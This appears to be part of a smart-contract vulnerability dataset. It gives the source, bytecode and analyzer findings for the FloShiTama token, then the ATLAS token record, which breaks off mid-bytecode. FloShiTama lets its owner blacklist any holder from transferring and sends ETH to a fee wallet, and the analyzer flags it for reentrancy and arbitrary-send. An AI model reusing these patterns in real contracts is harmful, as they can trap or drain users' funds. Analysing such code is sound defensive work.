0x0db97ba7cd7689a23b02a1d0d2a1cc4b562bfd54
/** *Submitted for verification at Etherscan.io on 2022-02-07 */ //telegram https://t.me/FloShiTama // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FloShiTama is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redis = 2; uint256 private _tax = 10; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "FloShiTama"; string private constant _symbol = "FST"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1) { _feeAddrWallet1 = _add1; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0),address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = _redis; _feeAddr2 = _tax; uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(contractTokenBalance > 0){ swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } if( from == owner()){ _feeAddr2 = 0; _feeAddr1 = 0; } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal ; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklistBot(address _address) external onlyOwner(){ // require(_msgSender() == _feeAddrWallet1); bots[_address] = true; } function removeFromBlacklist(address notbot) external onlyOwner(){ // require(_msgSender() == _feeAddrWallet1); bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102dc578063a9059cbb14610308578063c3c8cd8014610328578063c9567bf91461033d578063dd62ed3e1461035257600080fd5b80636fc3eaec1461026a57806370a082311461027f578063715018a61461029f5780638da5cb5b146102b457600080fd5b806323b872dd116100dc57806323b872dd146101d95780632ab30838146101f9578063313ce5671461020e578063537df3b61461022a5780635932ead11461024a57600080fd5b806306fdde031461011957806308aad1f11461015e578063095ea7b31461018057806318160ddd146101b057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a815269466c6f53686954616d6160b01b60208201525b604051610155919061131c565b60405180910390f35b34801561016a57600080fd5b5061017e610179366004611386565b610398565b005b34801561018c57600080fd5b506101a061019b3660046113a3565b6103ef565b6040519015158152602001610155565b3480156101bc57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610155565b3480156101e557600080fd5b506101a06101f43660046113cf565b610406565b34801561020557600080fd5b5061017e61046f565b34801561021a57600080fd5b5060405160098152602001610155565b34801561023657600080fd5b5061017e610245366004611386565b6104ab565b34801561025657600080fd5b5061017e61026536600461141e565b6104f6565b34801561027657600080fd5b5061017e61053e565b34801561028b57600080fd5b506101cb61029a366004611386565b61056b565b3480156102ab57600080fd5b5061017e61058d565b3480156102c057600080fd5b506000546040516001600160a01b039091168152602001610155565b3480156102e857600080fd5b506040805180820190915260038152621194d560ea1b6020820152610148565b34801561031457600080fd5b506101a06103233660046113a3565b610601565b34801561033457600080fd5b5061017e61060e565b34801561034957600080fd5b5061017e610644565b34801561035e57600080fd5b506101cb61036d36600461143b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103cb5760405162461bcd60e51b81526004016103c290611474565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006103fc3384846109c7565b5060015b92915050565b6000610413848484610aeb565b61046584336104608560405180606001604052806028815260200161161f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c3d565b6109c7565b5060019392505050565b6000546001600160a01b031633146104995760405162461bcd60e51b81526004016103c290611474565b6b033b2e3c9fd0803ce8000000601155565b6000546001600160a01b031633146104d55760405162461bcd60e51b81526004016103c290611474565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105205760405162461bcd60e51b81526004016103c290611474565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461055e57600080fd5b4761056881610c77565b50565b6001600160a01b03811660009081526002602052604081205461040090610cb1565b6000546001600160a01b031633146105b75760405162461bcd60e51b81526004016103c290611474565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103fc338484610aeb565b600e546001600160a01b0316336001600160a01b03161461062e57600080fd5b60006106393061056b565b905061056881610d35565b6000546001600160a01b0316331461066e5760405162461bcd60e51b81526004016103c290611474565b601054600160a01b900460ff16156106c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103c2565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561070830826b033b2e3c9fd0803ce80000006109c7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610746573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076a91906114a9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107db91906114a9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c91906114a9565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061087c8161056b565b6000806108916000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091e91906114c6565b5050601080546b033b2e3c9fd0803ce800000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561099f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c391906114f4565b5050565b6001600160a01b038316610a295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c2565b6001600160a01b038216610a8a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b4d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c2565b6001600160a01b03831660009081526006602052604090205460ff1615610b7357600080fd5b6001600160a01b0383163014610c0c57600a54600c55600b54600d556000610b9a3061056b565b601054909150600160a81b900460ff16158015610bc557506010546001600160a01b03858116911614155b8015610bda5750601054600160b01b900460ff165b15610c0a578015610bee57610bee81610d35565b4767016345785d8a0000811115610c0857610c0847610c77565b505b505b6000546001600160a01b0384811691161415610c2d576000600d819055600c555b610c38838383610eaf565b505050565b60008184841115610c615760405162461bcd60e51b81526004016103c2919061131c565b506000610c6e8486611527565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109c3573d6000803e3d6000fd5b6000600854821115610d185760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c2565b6000610d22610eba565b9050610d2e8382610edd565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d7d57610d7d61153e565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfa91906114a9565b81600181518110610e0d57610e0d61153e565b6001600160a01b039283166020918202929092010152600f54610e3391309116846109c7565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e6c908590600090869030904290600401611554565b600060405180830381600087803b158015610e8657600080fd5b505af1158015610e9a573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610c38838383610f1f565b6000806000610ec7611016565b9092509050610ed68282610edd565b9250505090565b6000610d2e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061105e565b600080600080600080610f318761108c565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f6390876110e9565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610f92908661112b565b6001600160a01b038916600090815260026020526040902055610fb48161118a565b610fbe84836111d4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161100391815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006110358282610edd565b821015611055575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b6000818361107f5760405162461bcd60e51b81526004016103c2919061131c565b506000610c6e84866115c5565b60008060008060008060008060006110a98a600c54600d546111f8565b92509250925060006110b9610eba565b905060008060006110cc8e87878761124d565b919e509c509a509598509396509194505050505091939550919395565b6000610d2e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c3d565b60008061113883856115e7565b905083811015610d2e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c2565b6000611194610eba565b905060006111a2838361129d565b306000908152600260205260409020549091506111bf908261112b565b30600090815260026020526040902055505050565b6008546111e190836110e9565b6008556009546111f1908261112b565b6009555050565b6000808080611212606461120c898961129d565b90610edd565b90506000611225606461120c8a8961129d565b9050600061123d826112378b866110e9565b906110e9565b9992985090965090945050505050565b600080808061125c888661129d565b9050600061126a888761129d565b90506000611278888861129d565b9050600061128a8261123786866110e9565b939b939a50919850919650505050505050565b6000826112ac57506000610400565b60006112b883856115ff565b9050826112c585836115c5565b14610d2e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c2565b600060208083528351808285015260005b818110156113495785810183015185820160400152820161132d565b8181111561135b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461056857600080fd5b60006020828403121561139857600080fd5b8135610d2e81611371565b600080604083850312156113b657600080fd5b82356113c181611371565b946020939093013593505050565b6000806000606084860312156113e457600080fd5b83356113ef81611371565b925060208401356113ff81611371565b929592945050506040919091013590565b801515811461056857600080fd5b60006020828403121561143057600080fd5b8135610d2e81611410565b6000806040838503121561144e57600080fd5b823561145981611371565b9150602083013561146981611371565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156114bb57600080fd5b8151610d2e81611371565b6000806000606084860312156114db57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561150657600080fd5b8151610d2e81611410565b634e487b7160e01b600052601160045260246000fd5b60008282101561153957611539611511565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115a45784516001600160a01b03168352938301939183019160010161157f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826115e257634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156115fa576115fa611511565b500190565b600081600019048311821515161561161957611619611511565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208deaf6894daade825d963c29fcd7b0858280516c70e42dbf43bbef075b1c803564736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,928
0x79d31c3f1e6bbf8e747a8cd5f5e1fdd32ce0caa5
/* ATLAS (ATLS) A UniLaunchpad Project Website: https://UniLaunch.io Telegram: https://t.me/unilaunchpad Twitter: https://twitter.com/UniLaunchpad UniLaunchpad is launching a new token on Uniswap every day 8% token burn per transfer for ATLAS 20,000 ATLAS initial supply FAIR LAUNCH FEATURE - Any Buys above 250 Tokens within the first 40 Blocks(10 Minutes) pay marginal 25% burn fee for the amount above 1000 */ pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; ROCKETToken public ROCKET; address admin; uint burnFee = 8; address public testSender; address public testRecipient; bool firstTransfer = false; uint public firstBlock; address public firstTx1; address public firstTx2; address public UniExchange; bool public useRocket = true; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint earlyPenalty = 25; //on any tokens above 500 before the 40th block after Uniswap Launh uint amountRec = amount; uint amountLimit = 250e18; uint amountBurn = 0; testSender = sender; testRecipient = recipient; if(sender != admin && recipient != admin){ //this is for the initial Pool Liquidity address _sendTo; if(sender == UniExchange){ _sendTo = recipient; } else { _sendTo = sender; } if((block.number < firstBlock + 40) && (amount > amountLimit)){ //extra fee for large early buyers before the 40th block after Uniswap Launh uint extraAmount = amount.sub(amountLimit); amountBurn = amountLimit.mul(burnFee).div(100) + extraAmount.mul(earlyPenalty).div(100); amountRec = amount.sub(amountBurn); //transfer RCKT tokens to Buyer/Seller if(useRocket){ ROCKET.ingress(_sendTo, amountBurn); } } else { amountBurn = amount.mul(burnFee).div(100); amountRec = amount.sub(amountBurn); if(useRocket){ ROCKET.ingress(_sendTo, amountBurn); } } } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amountRec); _totalSupply = _totalSupply.sub(amountBurn); if(!firstTransfer){ firstTransfer = true; //set First Block firstBlock = block.number; firstTx1 = sender; firstTx2 = recipient; UniExchange = recipient; } emit Transfer(sender, recipient, amountRec); emit Transfer(sender, address(0), amountBurn); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _ingress(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function addBalance(address account, uint amount) internal { require(account != address(0), "ERC20: add to the zero address"); _balances[account] = _balances[account].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal { } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ROCKETToken is ERC20(), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function ingress(address _to, uint256 _amount) public onlyOwner { _ingress(_to, _amount); } function burn(uint256 _amount) public { _burn(msg.sender, _amount); } } contract ATLAS is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; constructor () public ERC20Detailed("ATLAS | UniLaunch.io", "ATLS", 18) { admin = msg.sender; addBalance(admin,20000e18); //Initial tokens for Uniswap Liquidity Pool ROCKET = ROCKETToken(address(0x7aD95dAE595A1D282f6E337a631cEDB6bfE6c40D)); } function burn(uint256 amount) public { _burn(msg.sender, amount); } function() external payable { } function withdraw() external { require(msg.sender == admin, "!not allowed"); msg.sender.transfer(address(this).balance); } function getFirstBlockTime() view external returns (uint) { return(block.number - firstBlock); } function setUseRocket(bool _use) external returns (uint) { require(msg.sender == admin); useRocket = _use; } function setUniExchange(address _exchange) external returns (uint) { require(msg.sender == admin); UniExchange = _exchange; } }
0x60806040526004361061014b5760003560e01c80636a561cb8116100b6578063a9059cbb1161006f578063a9059cbb1461075b578063af382a53146107ce578063c6217c7a14610825578063c9d45d9714610876578063d37acfc7146108cd578063dd62ed3e146109245761014b565b80636a561cb81461050c5780636d0f38591461056357806370a08231146105c857806395d89b411461062d578063a35d7bb9146106bd578063a457c2d7146106e85761014b565b80632e938f25116101085780632e938f2514610368578063313ce567146103bf57806339509351146103f05780633ccfd60b1461046357806342966c681461047a5780635cf9e6aa146104b55761014b565b80630571c1a61461014d57806306fdde031461017c578063095ea7b31461020c57806318160ddd1461027f578063231b0268146102aa57806323b872dd146102d5575b005b34801561015957600080fd5b506101626109a9565b604051808215151515815260200191505060405180910390f35b34801561018857600080fd5b506101916109bc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d15780820151818401526020810190506101b6565b50505050905090810190601f1680156101fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021857600080fd5b506102656004803603604081101561022f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a5e565b604051808215151515815260200191505060405180910390f35b34801561028b57600080fd5b50610294610a7c565b6040518082815260200191505060405180910390f35b3480156102b657600080fd5b506102bf610a86565b6040518082815260200191505060405180910390f35b3480156102e157600080fd5b5061034e600480360360608110156102f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a8c565b604051808215151515815260200191505060405180910390f35b34801561037457600080fd5b5061037d610b65565b604051808273ffffffffffffffffffffffffff